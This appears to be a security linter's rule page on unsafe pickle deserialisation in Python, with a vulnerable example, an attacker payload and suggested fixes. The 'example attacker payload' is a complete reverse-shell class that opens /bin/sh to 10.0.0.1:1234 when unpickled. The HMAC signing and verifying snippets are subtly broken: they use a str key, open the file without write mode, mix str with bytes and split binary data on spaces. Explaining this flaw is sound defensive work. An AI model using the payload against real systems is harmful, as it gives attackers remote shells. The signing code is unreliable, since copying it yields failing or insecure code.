# PIC100 

Loading serialized data with the pickle module can expose arbitrary code execution using the __reduce__ method.

Before objects are serialised, they can have a custom `__reduce__` method attribute, which will execute on expansion during the pickle loader.

This can be used to injection malicious data into serialized data.

Because pickle is often used for caching or storing python objects by serialization, attackers will use this flaw to write arbitrary code to execute on the host.

## Example

```python
import pickle

with open(f) as input:
    python_objects = pickle.load(input)
```

An example attacker payload could be:

```python
import pickle

class ReverseShell:
    def __reduce__(self):
        import socket,subprocess,os
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])

payload = pickle.dumps(ReverseShell())
```

To start an open shell on 10.0.0.1:1234.

## Fixes

Either:

* Use an alternative deserialization method, like JSON
* Sign your serialized pickle data and then verify it before deserializing to ensure it hasn't been tampered with

## Signing pickles

To sign your pickled data, use the `hmac` module to hash the pickle data and insert it as a header.

```python
import hashlib
import hmac
import pickle

data = pickle.dumps(obj)
digest =  hmac.new('unique-key-here', data, hashlib.blake2b).hexdigest()
with open(f) as output:
    output.write(str(digest) + ' ' + data)
```

To verify signed data, use something like this:

```python
import hashlib
import hmac
import pickle
import secrets

digest, pickle_data = data.split(' ')
expected_digest = hmac.new('unique-key-here', pickle_data, hashlib.blake2b).hexdigest()

if not secrets.compare_digest(digest, expected_digest):
    print('Invalid signature')
    exit(1)

obj = pickle.loads(pickle_data)
```

## See Also

* [Understanding Python pickling and how to use it securely at synopsys.com](https://www.synopsys.com/blogs/software-security/python-pickling/)